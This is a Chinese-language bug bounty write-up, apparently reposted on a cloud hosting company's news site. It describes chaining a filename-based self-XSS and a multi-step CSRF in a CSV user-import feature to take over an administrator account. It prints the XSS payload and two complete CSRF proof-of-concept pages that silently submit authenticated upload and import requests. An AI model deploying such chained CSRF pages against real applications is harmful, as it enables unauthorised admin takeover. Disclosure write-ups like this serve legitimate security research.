您好,登錄后才能下訂單哦!
如何從XSS漏洞到CSRF利用實現賬戶劫持,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
前不久在HackerOne上參加了一個漏洞眾測邀請項目,目標測試應用(系統)的功能是為一些企業托管相關服務,普通用戶可以通過該系統進行注冊,然后使用這些服務。所以,該應用中會涉及到很多用戶的敏感信息處理操作。后來,作者由一個XSS漏洞入手,發現了上傳功能中存在的四步CSRF漏洞隱患,最終經過構造實現了目標應用的管理員賬戶劫持。
項目開始前兩天,我就發現了幾個中危漏洞,并對它們做了一些分析標記,經深入研究之后,我意識到只要利用一個XSS漏洞,就能非常容易地實現提權。另外,由于更改用戶注冊郵箱時,目標應用沒有諸如向郵箱發更改鏈接或輸入當前密碼的驗證手段,所以綜合漏洞利用,可形成賬戶劫持。為此,我花了好多時間去挖XSS漏洞。
但難處在于,由于目標應用對用戶輸入做了特殊字符過濾處理,所以貌似很難發現XSS漏洞。之后某天晚上,在繼續測試過程中,我注意到,目標應用可以上傳CSV文件來導入用戶信息,這個功能估計值得深挖。于是,我在上傳CSV文件中構造了一些特殊字符,但還是被過濾掉了。接著,我又從CSV文件名入手,在其中構造了XSS 語句:
<img src=x onerror=alert(document.domain)>.csv
終于實現了alert的窗口彈出!好了,大功告成。
但在后續分析中,我意識到即使構造的文件名XSS是持久型的,這個XSS漏洞目前只能在CSV文件上傳時實現觸發。也就是說,在CSV文件上傳時,應用未做相關編碼過濾處理,但文件上傳到系統服務端后是受編碼過濾的。因此來看,這個XSS漏洞目前也僅只是一個Self-XSS,是不在漏洞認可范圍內的。盡管我試了很多XSS Payload,但還是不能繞過上傳后的服務端過濾機制,無法轉變這種Self-XSS。
此時,我只有把它暫時放一放,希望在后續測試中能發現繞過方法或其它利用方式。接下來,在繼續測試后,我發現目標應用竟然沒有CSRF防護機制,所以,我就想到,能不能用CSRF請求來觸發這個Self-XSS呢?于是,我就立馬動手編寫了一個CSRF請求腳本,如下:
<html> <body> <script>history.pushState('', '', '/')</script> <script> var uploadId = UPDATE_THIS_WITH_ID; function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------1566359571913061724703232384"); xhr.withCredentials = true; var body = "-----------------------------1566359571913061724703232384\r\n" + "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"<img src=x onerror=alert(document.domain)>.csv\"\r\n" + "Content-Type: text/csv\r\n" + "\r\n" + "Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" + "H1 Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" + "-----------------------------1566359571913061724703232384\r\n" + "Content-Disposition: form-data; name=\"rosterType\"\r\n" + "\r\n" + "staff\r\n" + "-----------------------------1566359571913061724703232384\r\n" + "Content-Disposition: form-data; name=\"importMethod\"\r\n" + "\r\n" + "updateAdd\r\n" + "-----------------------------1566359571913061724703232384--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body></html>
這個CSRF腳本內容是上傳CSV文件的POST請求,好了,CSRF腳本有了,那么就需要在目標應用中找到一個路徑或端點(endpoint),構造請求,發送給受害者用戶,以此實現XSS漏洞觸發了。但是,一經測試,又發現目標應用中幾乎所有路徑或端點(endpoint)都有過濾防護措施,所以我在腳本中構造的文件名XSS Payload - filename=\"<img src=x onerror=alert(document.domain)>.csv\" 也就無法被解析觸發了。即使我嘗試了很多重定向跳轉和其它技巧,但仍然未找到可行方法。沒有思緒,我決定暫時先放一放。
兩天過后的某晚,在和媳婦看電視的時候,我突發靈感:XSS的實現利用現在可能是一葉障目,為什么不先把那個Self-XSS放一邊,直接去利用CSRF呢?因此,我需要再深入了解CSV文件的上傳過程,完整的CSV上傳過程主要包含以下四個過程,這幾個過程中都會涉及一些用戶信息的修改添加解析:
1、發起POST請求執行上傳動作(POST - 1)
2、修復上傳過程的錯誤(GET-1)
3、解析上傳文件中的相關修改之處,以便進行后續的預覽和驗證(GET - 2)
4、解析并實現預覽,最終提交上傳
經分析測試,第1步的POST請求中存在CSRF漏洞可能,之后的三步GET請求也都存在CSRF漏洞隱患。但整體利用可能有點麻煩,因為不確定這些步驟如何執行,而且后來我才發現其中還遺漏了一步。其次,目標應用需要在上傳錯誤修復之前實現一次查看檢查,所以,還需要在以上第1和第2步之間再插入一個檢查步驟。另外,目標應用的CORS配置也比較合理,當調用各種端點路徑(Endpoint)時,無法獲得任何響應數據。因為這種響應數據對了解以上每個步驟的當前狀態非常有用,就比如可以通過響應返回時間推斷上傳數據的大小、網速、服務器負載等情況。
我決定對每個請求處理完成的平均時間做一些測試,然后使用Javascript中的setTimeout方法來對4個請求實現交錯執行,以確保我可以一次把這4步中的CSRF漏洞進行串聯整合。所以,最終漏洞利用PoC代碼如下:
<html> <body> <script>history.pushState('', '', '/')</script> <script> var uploadId = UPDATE_THIS_WITH_ID; function xhrRequest(url) { var xhr = new XMLHttpRequest(); xhr.open('GET', url); xhr.withCredentials = true; xhr.send(null); } function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------1566359571913061724703232384"); xhr.withCredentials = true; var body = "-----------------------------1566359571913061724703232384\r\n" + "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"neema.csv\"\r\n" + "Content-Type: text/csv\r\n" + "\r\n" + "Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" + "Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" + "-----------------------------1566359571913061724703232384\r\n" + "Content-Disposition: form-data; name=\"rosterType\"\r\n" + "\r\n" + "staff\r\n" + "-----------------------------1566359571913061724703232384\r\n" + "Content-Disposition: form-data; name=\"importMethod\"\r\n" + "\r\n" + "updateAdd\r\n" + "-----------------------------1566359571913061724703232384--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); window.setTimeout(function () { window.open(`https://company.com/users/upload?uploadId=${uploadId}`); window.setTimeout(function() { xhrRequest(`https://company.com/users/fix?uploadId=${uploadId}`); window.setTimeout(function () { xhrRequest(`https://company.com/users/submitToPreview?uploadId=${uploadId}`); window.setTimeout(function () { xhrRequest(`https://company.com/users/submitImport?uploadId=${uploadId}`); }, 2000) }, 2000) }, 2000) }, 2000) } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>
以上PoC執行的功能是:一開始發送POST請求,然后以2秒間隔執行完整CSV文件上傳過程中的4個請求,這對單個用戶的上傳行為來說非常好控制和判斷。攻擊者通過網站控制部署以上這個PoC頁面,如果把目標應用的管理員(Admin)當成受害者,把這個PoC對應URL鏈接發送給管理員,當他點擊加載后,利用CSV文件上傳過程中存在的4個CSRF漏洞處,結合上傳CSV文件中的用戶信息修改,可以實現攻擊者管理員身份的添加,以此間接實現對原來管理員身份的劫持。實現機制是:攻擊者提供在上傳CSV文件中的郵箱會收到一封管理員身份的用戶名密碼鏈接,用該憑據登錄目標應用,可以刪除其它管理員賬戶,完全實現對管理員賬戶的劫持,獲取對目標應用的完全管理權限。汗......。
關于如何從XSS漏洞到CSRF利用實現賬戶劫持問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。